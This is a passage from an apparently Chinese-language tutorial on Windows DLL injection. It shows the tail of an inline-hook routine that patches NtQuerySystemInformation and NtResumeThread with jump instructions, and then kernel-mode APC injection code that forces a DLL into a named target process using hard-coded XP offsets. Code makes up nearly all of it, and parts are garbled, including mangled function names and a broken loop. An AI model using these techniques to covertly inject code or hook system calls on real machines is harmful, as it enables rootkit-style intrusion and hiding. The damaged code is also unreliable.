淡若清风
EnterCriticalSection(&cs);
_asm {
lea edi,g_OldNtQuerySystemInformation mov esi,g_pfNtQuerySystemInformation cld
mov ecx,5 rep movsb
lea edi,g_OldNtResumeThread mov esi,g_pfNtResumeThread cld
mov ecx,5 rep movsb }
g_NewNtQuerySystemInformation[0] = 0xe9; g_NewNtResumeThread[0] = 0xe9; _asm {
lea eax, NewNtQuerySystemInformation mov ebx, g_pfNtQuerySystemInformation sub eax, ebx sub eax, 5
mov dword ptr [g_NewNtQuerySystemInformation + 1], eax lea eax, NewNtResumeThread mov ebx, g_pfNtResumeThread sub eax, ebx sub eax, 5
mov dword ptr [g_NewNtResumeThread + 1], eax } .......
LeaveCriticalSection(&cs);
g_bHook = TRUE; }
// 还原被修改的代码 void WINAPI HookOff() {
......
g_bHook = FALSE; }
第十一种方法：
利用ring0 APC注入dll
/*注:拿APC启动进程的代码改下...本代码用VC6.0+ XP DDK编译通过...在XP SP2运行成功.....
里面用到了一些硬编码..比如直接用ETHREAD的偏移值... __asm
{ //我的机器的loadlibrary的地址一提
mov eax,0x7C801d77 -----这个地址你自己改下 或者自己分析kernel32.dll EAT
注意假使你不用硬编码....g_addr是loadlibrary的地址...但不能直接 mov eax,g_aadr
因为这时候我们的mov eax,g_aadr
已经运行在用户态...而g_aadr是一个内核变量...用户程序是访问不了内核空间的...所以应该自
己计算机mov eax,g_aadr这条指令的偏移...在驱动里copy下..替换下就OK */
//基本思路就是在目标进程的上下文中让其调用loadlibrary加载我们的dll //copy much code
////////////////////////////////////////////////////////////////////////////////// 完整代码以重新编辑....也改了下...防止干坏事
#include
#define MAX_PID 65535
/////////////////////////////////////////////////////////////////////////////////////
//////////////////// NTSTATUS
InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess); void ApcCreateProcessEnd();
void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID
SystemArgument2);
typedef enum {
OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment } KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode]; struct _KPROCESS *Process; BOOLEAN KernelApcInProgress; BOOLEAN KernelApcPending; BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
VOID
KeInitializeApc ( PKAPC Apc,
PETHREAD Thread,
KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext );
BOOLEAN
KeInsertQueueApc ( PKAPC Apc,
PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment );
NTSTATUS
PsLookupProces**yProcessId( __in HANDLE ProcessId,
__deref_out PEPROCESS *Process );
UCHAR *
PsGetProcessImageFileName( __in PEPROCESS Process
); VOID
KeStackAttachProcess ( IN PVOID Process,
OUT PRKAPC_STATE ApcState ); VOID
KeUnstackDetachProcess(
IN PRKAPC_STATE ApcState );
/////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////
//===================================================================================
====//
// InjectDll遍历进程,得到根据名字找到我们想要注入的进程,得到进程后遍历线程.找受信??线
程序//
//注意这里ETHREAD我是用XP..在其他操作系统可能一些偏移不同 //
//===================================================================================
===//
void InjectDll(LPSTR DllFullPath,LPSTR ProcessName) {
//全部定义为ULONG类型 ULONG pTargetProcess; ULONG pTargetThread; ULONG pNotAlertableThread; ULONG pSystemProcess; ULONG pTempThread;
ULONG pNextEntry, pListHead, pThNextEntry,pThListHead; ULONG pid;
PEPROCESS EProcess; NTSTATUS status;
for(pid=0; pid status = PsLookupProces**yProcessId((HANDLE)pid,&EProcess); if((NT_SUCCESS(status))) { if(_stricmp(PsGetProcessImageFileName(EProcess),ProcessName)==0) { pSystemProcess=(ULONG)EProcess; pTargetProcess =pSystemProcess; pTargetThread = pNotAlertableThread = 0; pThListHead = pSystemProcess+0x50; pThNextEntry=*(ULONG *)pThListHead; while(pThNextEntry != pThListHead) { pTempThread =pThNextEntry-0x1b0; //ETHREAD if(*(char *)(pTempThread+0x164)) //受信?? { pTargetThread =pTempThread; break; } else { pNotAlertableThread =pTempThread; } pThNextEntry = *(ULONG *)pThNextEntry; } break; } } } if(!pTargetProcess) return; if(!pTargetThread) pTargetThread = pNotAlertableThread; if(pTargetThread) {
